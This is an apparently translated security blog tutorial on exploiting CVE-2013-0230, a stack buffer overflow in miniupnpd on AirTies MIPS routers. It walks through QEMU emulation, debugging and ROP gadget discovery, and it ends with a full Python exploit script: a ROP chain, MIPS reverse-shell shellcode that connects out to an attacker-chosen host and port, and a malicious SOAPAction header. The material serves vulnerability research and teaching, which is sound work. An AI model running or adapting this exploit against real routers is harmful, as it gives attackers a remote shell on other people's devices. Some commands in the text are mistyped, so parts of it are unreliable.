Router Vulnerability EXP Development Practice

Author: Member of Hongri Security lifeand

Blog Address: http://sec-redclub.com/team/

Book Giveaway: “Unveiling Home Router 0day Vulnerability Exploitation Techniques”

Event Address: Free book giveaway in March

Testing Environment

Debian 9

Qemu

This article mainly discusses the development of an exploit for the buffer overflow vulnerability in routers, using CVE-2013-0230 as an example.

0x01 Environment Setup

Using firmware-analysis-toolkit

firmware-analysis-toolkit

https://github.com/attify/firmware-analysis-toolkit

This is a tool for simulating firmware and analyzing security vulnerabilities.

The tool can automatically unpack firmware and create an image to simulate the router using qemu.

In this article, I also attempted to use this tool, but encountered some issues that prevented it from starting properly. In such cases, you can use a Debian MIPS virtual machine for debugging or directly use qemu-mipsel-static to test a specific mips program.

Router Vulnerability EXP Development Practice

Toolchain

Use buildroot to build

Download the latest version from the buildroot official website, extract it, and configure the relevant settings. Download address:

https://buildroot.org/download.html

Execute the command:

make menuconfig

Select the mips (big endian) architecture

Router Vulnerability EXP Development Practice

For the kernel, select 3.10.x

Router Vulnerability EXP Development Practice

Check the cross gdb option, or you can also use gdb-multiarch (install directly with apt-get, and when using, set set arch mips, this article uses gdb-multiarch)

Router Vulnerability EXP Development Practice

Compile directly with

make -j2 (-j followed by CPU cores)

The compiled programs will be in the output folder in the root directory

Bridge Setup

bunctl -t tap0 -u <user>ifconfig tap0 upbrctl addbr br0 brctl addif br0 tap0brctl addif br0 eth0ifconfig br0 192.168.86.2

After starting the Debian MIPS virtual machine, you need to configure the virtual machine’s IP to communicate with the host

Debian MIPS Virtual Machine

Download the qemu image from the following link:

https://people.debian.org/~aurel32/qemu/mips/

Bridge Setup

bunctl -t tap0 -u <user>ifconfig tap0 upbrctl addbr br0 brctl addif br0 tap0brctl addif br0 eth0ifconfig br0 192.168.86.2

After starting the Debian MIPS virtual machine, you need to configure the virtual machine’s IP to communicate with the host

Startup command

#!/usr/bin/env shqemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no

UART Debugging

If you have a router on hand, you can also use UART to debug the router. You need to use a TTL to USB module. After opening the router, there are generally four sockets on the circuit board used for debugging during development, and during the release period, the corresponding debugging circuit is not removed, so you can connect a TTL to USB module or a six-in-one module for UART debugging. The main interfaces needed are TX, RD, GND. After connecting,

you can execute the following on the Linux system:

sudo minicom –device /dev/ttyUSB0

Then, reconnecting the power will show the router’s startup information. For details, refer to

http://future-sec.com/iot-security-hardware-debuging.html

0x02 CVE-2013-0230

Prerequisite Knowledge

1. During debugging, this article uses gdb for debugging, with the plugin pwndbg:

https://github.com/pwndbg/pwndbg

You can also use gef

https://github.com/hugsy/gef

2. Basic knowledge of MIPS assembly, some assembly needs to be understood

3. Since the CVE being debugged in this article is a stack overflow vulnerability, it is also necessary to understand its principles

4. Basic usage of IDA

CVE-2013-0230

Setting the Target

After downloading the target firmware, use binwalk to unpack it. Remember to first

sudo apt install squashfs-tools

Router Vulnerability EXP Development Practice

After unpacking

Router Vulnerability EXP Development Practice

The vulnerability occurs in the miniupnpd file

Router Vulnerability EXP Development Practice

Start the virtual machine with qemu-system-mips and configure the IP

Router Vulnerability EXP Development Practice

After configuring, transfer the miniupnpd file to the virtual machine via scp,

Router Vulnerability EXP Development Practice

You also need to copy libc.so.0 and ld-uClibc.so.0 to the virtual machine and place them in the lib directory for use, set up links to ensure that miniupnpd can run

Starting miniupnpd requires setting some parameters

Router Vulnerability EXP Development Practice

Here, I wrote a convenient debugging script run, and started gdbserver, launching the remote debugging service

IDA Reverse Analysis

Use IDA to open the miniupnpd file, navigate to ExecuteSoapAction

Router Vulnerability EXP Development Practice

You can clearly see the memcpy function call, where the data of a1 is copied to a0 (on the stack) without restriction, thus a classic stack overflow occurs

Remote Debugging

Run the run script in the virtual machine, and on the host, add to ~/.gdbinit

set architecture mips

target remote 192.168.86.103:1234

When using gdb-multiarch, the contents of the .gdbinit script are executed automatically

Router Vulnerability EXP Development Practice

After connecting gdb, run the trigger script

import urllib2payload = 'A'*2500 #payload = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ab5Ab6Ab7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D'#payload = 'A' * 2076 #payload += 'BBBB'soap_headers = {        'SOAPAction':"n:schemas-upnp-org:service:WANIPConection:1#" + payload,        }soap_data = """  <?xml version='1.0' encoding="UTF-8"?>  <SOAP-ENV:Envelope  SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap.envelope/"  >  <SOAP-ENV:Body>  <ns1:action xmlns:ns1="urn:schemaas-upnp-org:service:WANIPConnection:1" SOAP-ENC:root="1">  </ns1:action>  </SOAP-ENV:Body>  </SOAP-ENV:Envelope>  """req = urllib2.Request("http://192.168.86.103:5555", soap_data, soap_headers)res = urllib2.urlopen(req)

The script runs and the program crashes

Router Vulnerability EXP Development Practice

The return address has been overwritten to 0x41414141. Use the pattern tool to further determine the stack size

pattern 2500

Change the payload to the generated string

Run it again

Router Vulnerability EXP Development Practice

Determine the stack size is 2076

Router Vulnerability EXP Development Practice

Set a breakpoint at 0x404f44, after breaking, check the status of a0 and a1

Router Vulnerability EXP Development Practice

You can see that a1 points to 'AAA...'

Router Vulnerability EXP Development Practice

The size from a0 to sp is 2072, which matches our calculated overflow stack size

Router Vulnerability EXP Development Practice

0x03 ROP Chain

We can control the ra, s0, s1, s2, s3, s4, s5, s6 registers. Since the MIPS architecture CPU has two caches, the CPU retrieves instructions and input data from the code cache and data cache respectively.

Therefore, we need to handle the cache issue and clear the cache. The Airties router does not use ASLR, and the libc address remains unchanged.

We need to call the sleep function to refresh the cache issue, then return to the shellcode to execute.

Here we use the IDA plugin mipsrop

https://github.com/devttys0/ida

to find some gadgets

1. Find "li $a0, 1"

Load libc.so.0 into IDA, edit -> plugins -> MIPS ROP Finder to initialize the mipsrop plugin

mipsrop.fine(“li $a0, 1”)

Router Vulnerability EXP Development Practice

Here, select the gadget at address 0x00036860

Router Vulnerability EXP Development Practice

2. Use miprop.tails() to find useful syscalls

Router Vulnerability EXP Development Practice

Router Vulnerability EXP Development Practice

Find a place that passes the address through s1 and jumps to that address to call the gadget

3. Find the location to store the shellcode

Router Vulnerability EXP Development Practice

Router Vulnerability EXP Development Practice

4. The gadget places the shellcode address into s0, so we need to find an instruction that puts s0 into t9

Router Vulnerability EXP Development Practice

Router Vulnerability EXP Development Practice

5. Find the libc address

Execute

sysctl -w kernel.randomize_va_space = 0

on the Debian MIPS virtual machine to disable ASLR and find the libc address through /proc/PID/maps

Router Vulnerability EXP Development Practice

The base address of libc is 0x77f92000

The address of sleep is 0x35620

ra_1 = 1.gadget

s1 = 2.gadget

ra__2 = 3.gadget

s6 = 4.gadget

s2 = s6 = 4.gadget

Thus, the payload is constructed as follows

2052 bytes junk + s1 + 16 bytes junk + s6 + ra_1 + 28 bytes junk + sleep + 40 bytes junk + s2 + ra_2 + 32 bytes junk + shellcode

0x04 Final EXP

#!/usr/bin/env pythonimport urllib2from string import joinfrom argparse import ArgumentParserfrom struct import packfrom socket import inet_atonBYTES = 4def hex2str(value, size=BYTES):    data = ""    for i in range(0, size):        data += chr((value >> (8*i)) & 0xFF)    data = data[::-1]    return dataarg_parser = ArgumentParser(prog="miniupnpd_mips.py", description="MiniUPnPd CVE-2013-0230 Reverse Shell exploit for AirTies RT Series, start netcat on lhost:lport")#arg_parser.add_argument("--target", required=True, help="Target IP address")arg_parser.add_argument("--lhost", required=True, help="The IP address which nc is listening")arg_parser.add_argument("--lport", required=True, type=int, help="The port which nc is listening")args = arg_parser.parse_args()libc_base = 0x77f92000ra_1 = hex2str(libc_base + 0x36860)     # ra = 1. gadget'''.text:00036860                 li      $a0, 1.text:00036864                 move    $t9, $s1.text:00036868                 jalr    $t9 ; sub_36510.text:0003686C                 ori     $a1, $s0, 2'''s1 = hex2str(libc_base + 0x1636C)       # s1 = 2. gadget'''.text:0001636C                 move    $t9, $s1.text:00016370                 lw      $ra, 0x28+var_4($sp).text:00016374                 lw      $s2, 0x28+var_8($sp).text:00016378                 lw      $s1, 0x28+var_C($sp).text:0001637C                 lw      $s0, 0x28+var_10($sp).text:00016380                 jr      $t9.text:00016384                 addiu   $sp, 0x28'''sleep = hex2str(libc_base + 0x35620)    # sleep functionra_2 = hex2str(libc_base + 0x28D3C)     # ra = 3. gadget'''.text:00028D3C                 addiu   $s0, $sp, 0xD0+var_B0.text:00028D40                 lw      $a0, 0($s2).text:00028D44                 move    $a1, $s1.text:00028D48                 move    $a2, $s4.text:00028D4C                 move    $t9, $s6.text:00028D50                 jalr    $t9.text:00028D54                 move    $a3, $s0'''s6 = hex2str(libc_base + 0x1B19C)       # ra = 4.gadget'''.text:0001B19C                 move    $t9, $s0.text:0001B1A0                 jalr    $t9.text:0001B1A4                 nop'''s2 = s6lport = pack('>H', args.lport)lhost = inet_aton(args.lhost)shellcode = join([    "\x24\x11\xff\xff"    "\x24\x04\x27\x0f"    "\x24\x02\x10\x46"    "\x01\x01\x01\x0c"    "\x1e\x20\xff\xfc"    "\x24\x11\x10\x2d"    "\x24\x02\x0f\xa2"    "\x01\x01\x01\x0c"    "\x1c\x40\xff\xf8"    "\x24\x0f\xff\xfa"    "\x01\xe0\x78\x27"    "\x21\xe4\xff\xfd"    "\x21\xe5\xff\xfd"    "\x28\x06\xff\xff"    "\x24\x02\x10\x57"    "\x01\x01\x01\x0c"    "\xaf\xa2\xff\xff"    "\x8f\xa4\xff\xff"    "\x34\x0f\xff\xfd"    "\x01\xe0\x78\x27"    "\xaf\xaf\xff\xe0"    "\x3c\x0e" + lport +    "\x35\xce" + lport +    "\xaf\xae\xff\xe4"    "\x3c\x0e" + lhost[:2] +    "\x35\xce" + lhost[2:4] +    "\xaf\xae\xff\xe6"    "\x27\xa5\xff\xe2"    "\x24\x0c\xff\xef"    "\x01\x80\x30\x27"    "\x24\x02\x10\x4a"    "\x01\x01\x01\x0c"    "\x24\x0f\xff\xfd"    "\x01\xe0\x78\x27"    "\x8f\xa4\xff\xff"    "\x01\xe0\x28\x21"    "\x24\x02\x0f\xdf"    "\x01\x01\x01\x0c"    "\x24\x10\xff\xff"    "\x21\xef\xff\xff"    "\x15\xf0\xff\xfa"    "\x28\x06\xff\xff"    "\x3c\x0f\x2f\x2f"    "\x35\xef\x62\x69"    "\xaf\xaf\xff\xec"    "\x3c\x0e\x6e\x2f"    "\x35\xce\x73\x68"    "\xaf\xae\xff\xf0"    "\xaf\xa0\xff\xf4"    "\x27\xa4\xff\xec"    "\xaf\xa4\xff\xf8"    "\xaf\xa0\xff\xfc"    "\x27\xa5\xff\xf8"    "\x24\x02\x0f\xab"    "\x01\x01\x01\x0c"    ], '')payload = 'A'*2052 + s1 + 'A'*(4*4) + s6 + ra_1 + 'A'*28 + sleep + 'A'*40 + s2 + ra_2 + 'C'*32 #+ shellcodesoap_headers = {    'SOAPAction': "n:schemas-upnp-org:service:WANIPConnection:1#" + payload,}soap_data = """    <?xml version='1.0' encoding="UTF-8"?>    <SOAP-ENV:Envelope    SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"    xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"    xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"    >    <SOAP-ENV:Body>    <ns1:action xmlns:ns1="urn:schemas-upnp-org:service:WANIPConnection:1"	SOAP-ENC:root="1">    </ns1:action>    </SOAP-ENV:Body>    </SOAP-ENV:Envelope>    """#try:print "Exploiting..."req = urllib2.Request("http://192.168.86.103:5555", soap_data,soap_headers)urllib2.urlopen(req)

References

https://p16.praetorian.com/blog/getting-started-with-damn-vulnerable-router-firmware-dvrf-v0.1

Connecting QEMU to a Real Network

http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/

http://www.devttys0.com/2013/10/mips-rop-ida-plugin/

Router Vulnerability EXP Development Practice

Router Vulnerability EXP Development Practice

Leave a Comment